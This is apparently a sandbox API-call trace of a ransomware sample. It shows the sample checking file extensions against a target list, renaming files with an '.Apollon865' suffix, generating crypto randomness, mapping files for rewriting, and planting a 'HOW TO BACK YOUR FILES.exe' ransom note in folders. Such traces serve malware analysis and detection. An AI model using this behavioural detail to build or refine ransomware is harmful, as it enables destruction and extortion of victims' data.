	[0051.362] lstrlenW (lpString="p97") returned 3
	[0051.362] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0051.362] lstrlenW (lpString="pan") returned 3
	[0051.362] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0051.362] lstrlenW (lpString="pdb") returned 3
	[0051.362] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0051.362] lstrlenW (lpString="pdm") returned 3
	[0051.363] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0051.363] lstrlenW (lpString="pnz") returned 3
	[0051.363] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0051.363] lstrlenW (lpString="qry") returned 3
	[0051.363] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0051.363] lstrlenW (lpString="qvd") returned 3
	[0051.363] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0051.363] lstrlenW (lpString="rbf") returned 3
	[0051.363] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0051.363] lstrlenW (lpString="rctd") returned 4
	[0051.363] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0051.363] lstrlenW (lpString="rod") returned 3
	[0051.363] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0051.363] lstrlenW (lpString="rodx") returned 4
	[0051.363] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0051.363] lstrlenW (lpString="rpd") returned 3
	[0051.363] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0051.363] lstrlenW (lpString="rsd") returned 3
	[0051.363] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0051.363] lstrlenW (lpString="sas7bdat") returned 8
	[0051.363] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0051.363] lstrlenW (lpString="sbf") returned 3
	[0051.363] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0051.363] lstrlenW (lpString="scx") returned 3
	[0051.363] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0051.363] lstrlenW (lpString="sdb") returned 3
	[0051.363] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0051.363] lstrlenW (lpString="sdc") returned 3
	[0051.363] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0051.363] lstrlenW (lpString="sdf") returned 3
	[0051.363] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0051.363] lstrlenW (lpString="sis") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0051.364] lstrlenW (lpString="spq") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0051.364] lstrlenW (lpString="te") returned 2
	[0051.364] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0051.364] lstrlenW (lpString="teacher") returned 7
	[0051.364] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0051.364] lstrlenW (lpString="tmd") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0051.364] lstrlenW (lpString="tps") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0051.364] lstrlenW (lpString="trc") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0051.364] lstrlenW (lpString="trc") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0051.364] lstrlenW (lpString="trm") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0051.364] lstrlenW (lpString="udb") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0051.364] lstrlenW (lpString="udl") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0051.364] lstrlenW (lpString="usr") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0051.364] lstrlenW (lpString="v12") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0051.364] lstrlenW (lpString="vis") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0051.364] lstrlenW (lpString="vpd") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0051.364] lstrlenW (lpString="vvv") returned 3
	[0051.364] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0051.364] lstrlenW (lpString="wdb") returned 3
	[0051.365] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0051.365] lstrlenW (lpString="wmdb") returned 4
	[0051.365] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0051.365] lstrlenW (lpString="wrk") returned 3
	[0051.365] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0051.365] lstrlenW (lpString="xdb") returned 3
	[0051.365] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0051.365] lstrlenW (lpString="xld") returned 3
	[0051.365] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0051.365] lstrlenW (lpString="xmlff") returned 5
	[0051.365] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0051.365] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Music\\desktop.ini.Apollon865") returned 45
	[0051.365] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Music\\desktop.ini" (normalized: "c:\\users\\default\\music\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Music\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\music\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0051.366] CreateFileW (lpFileName="C:\\Users\\Default\\Music\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\music\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0051.366] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=504) returned 1
	[0051.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0051.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0051.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0051.366] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0051.367] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0051.367] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0051.367] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x118
	[0051.373] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000
	[0051.387] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0051.390] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0051.390] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0051.390] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0051.390] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0051.391] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0051.391] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0051.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0051.391] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0051.391] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0051.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0051.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0051.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0051.391] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0051.391] CloseHandle (hObject=0x118) returned 1
	[0051.391] CloseHandle (hObject=0xc0) returned 1
	[0051.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0051.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0051.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0051.391] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e0cc510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e0cc510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.391] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.392] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e0cc510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e0cc510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0051.392] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0051.392] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc10
	[0051.392] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Local Settings", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings"
	[0051.392] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5f20 | out: hHeap=0x580000) returned 1
	[0051.392] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0051.392] lstrlenW (lpString="C:\\Users\\Default\\Local Settings") returned 31
	[0051.392] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings"
	[0051.392] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.392] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.392] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.392] GetLastError () returned 0x20
	[0051.392] Sleep (dwMilliseconds=0xc8) 
	[0051.597] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.597] GetLastError () returned 0x20
	[0051.597] Sleep (dwMilliseconds=0xc8) 
	[0051.796] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0051.796] GetLastError () returned 0x0
	[0051.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.797] ReadFile (in: hFile=0x150, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.797] CloseHandle (hObject=0x150) returned 1
	[0051.797] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.797] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.797] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e0cc510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e0cc510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0051.797] GetLastError () returned 0x5
	[0051.797] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Local Settings\\* FindFirstFile error 5\r\n") returned 65
	[0051.797] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Local Settings\\* FindFirstFile error 5\r\n") returned 65
	[0051.797] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0051.797] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1dba
	[0051.797] WriteFile (in: hFile=0x150, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x41, lpOverlapped=0x0) returned 1
	[0051.797] CloseHandle (hObject=0x150) returned 1
	[0051.798] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fbf0
	[0051.798] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Links", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links"
	[0051.798] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7df0 | out: hHeap=0x580000) returned 1
	[0051.798] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0051.798] lstrlenW (lpString="C:\\Users\\Default\\Links") returned 22
	[0051.798] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links"
	[0051.798] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.798] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\links\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.798] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0051.798] GetLastError () returned 0x0
	[0051.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.798] ReadFile (in: hFile=0x150, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.798] CloseHandle (hObject=0x150) returned 1
	[0051.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.799] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.799] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e13e930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e13e930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0051.799] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.799] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.799] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.799] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e13e930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e13e930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.799] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.799] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.799] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.799] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.799] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0051.799] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.799] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0051.799] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0051.799] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0051.799] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0051.799] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0051.799] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0051.799] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0051.799] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0051.799] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0051.799] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0051.799] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0051.799] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0051.799] lstrlenW (lpString="desktop.ini") returned 11
	[0051.799] lstrlenW (lpString="C:\\Users\\Default\\Links\\*") returned 24
	[0051.800] lstrcpyW (in: lpString1=0x119e636, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0051.800] lstrlenW (lpString="desktop.ini") returned 11
	[0051.800] lstrlenW (lpString="Apollon865") returned 10
	[0051.800] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0051.800] lstrlenW (lpString=".dll") returned 4
	[0051.800] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0051.800] lstrlenW (lpString=".lnk") returned 4
	[0051.800] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0051.800] lstrlenW (lpString=".ini") returned 4
	[0051.800] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0051.800] lstrlenW (lpString=".sys") returned 4
	[0051.800] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0051.800] lstrlenW (lpString="desktop.ini") returned 11
	[0051.800] lstrlenW (lpString="bak") returned 3
	[0051.800] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0051.800] lstrlenW (lpString="ba_") returned 3
	[0051.800] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0051.800] lstrlenW (lpString="dbb") returned 3
	[0051.800] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0051.800] lstrlenW (lpString="vmdk") returned 4
	[0051.800] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0051.800] lstrlenW (lpString="rar") returned 3
	[0051.800] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0051.800] lstrlenW (lpString="zip") returned 3
	[0051.800] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0051.800] lstrlenW (lpString="tgz") returned 3
	[0051.800] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0051.800] lstrlenW (lpString="vbox") returned 4
	[0051.800] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0051.800] lstrlenW (lpString="vdi") returned 3
	[0051.800] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0051.800] lstrlenW (lpString="vhd") returned 3
	[0051.800] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0051.800] lstrlenW (lpString="vhdx") returned 4
	[0051.800] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0051.801] lstrlenW (lpString="avhd") returned 4
	[0051.801] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0051.801] lstrlenW (lpString="db") returned 2
	[0051.801] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0051.801] lstrlenW (lpString="db2") returned 3
	[0051.801] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0051.801] lstrlenW (lpString="db3") returned 3
	[0051.801] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0051.801] lstrlenW (lpString="dbf") returned 3
	[0051.801] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0051.801] lstrlenW (lpString="mdf") returned 3
	[0051.801] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0051.801] lstrlenW (lpString="mdb") returned 3
	[0051.801] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0051.801] lstrlenW (lpString="sql") returned 3
	[0051.801] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0051.801] lstrlenW (lpString="sqlite") returned 6
	[0051.801] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0051.801] lstrlenW (lpString="sqlite3") returned 7
	[0051.801] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0051.801] lstrlenW (lpString="sqlitedb") returned 8
	[0051.801] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0051.801] lstrlenW (lpString="xml") returned 3
	[0051.801] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0051.801] lstrlenW (lpString="$er") returned 3
	[0051.801] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0051.801] lstrlenW (lpString="4dd") returned 3
	[0051.801] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0051.801] lstrlenW (lpString="4dl") returned 3
	[0051.801] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0051.801] lstrlenW (lpString="^^^") returned 3
	[0051.801] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0051.801] lstrlenW (lpString="abs") returned 3
	[0051.802] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0051.802] lstrlenW (lpString="abx") returned 3
	[0051.802] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0051.802] lstrlenW (lpString="accdb") returned 5
	[0051.802] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0051.802] lstrlenW (lpString="accdc") returned 5
	[0051.802] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0051.802] lstrlenW (lpString="accde") returned 5
	[0051.802] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0051.802] lstrlenW (lpString="accdr") returned 5
	[0051.802] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0051.802] lstrlenW (lpString="accdt") returned 5
	[0051.802] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0051.802] lstrlenW (lpString="accdw") returned 5
	[0051.802] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0051.802] lstrlenW (lpString="accft") returned 5
	[0051.802] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0051.802] lstrlenW (lpString="adb") returned 3
	[0051.802] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0051.802] lstrlenW (lpString="adb") returned 3
	[0051.802] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0051.802] lstrlenW (lpString="ade") returned 3
	[0051.802] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0051.802] lstrlenW (lpString="adf") returned 3
	[0051.802] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0051.802] lstrlenW (lpString="adn") returned 3
	[0051.802] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0051.802] lstrlenW (lpString="adp") returned 3
	[0051.802] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0051.802] lstrlenW (lpString="alf") returned 3
	[0051.802] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0051.802] lstrlenW (lpString="ask") returned 3
	[0051.802] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0051.802] lstrlenW (lpString="btr") returned 3
	[0051.803] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0051.803] lstrlenW (lpString="cat") returned 3
	[0051.803] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0051.803] lstrlenW (lpString="cdb") returned 3
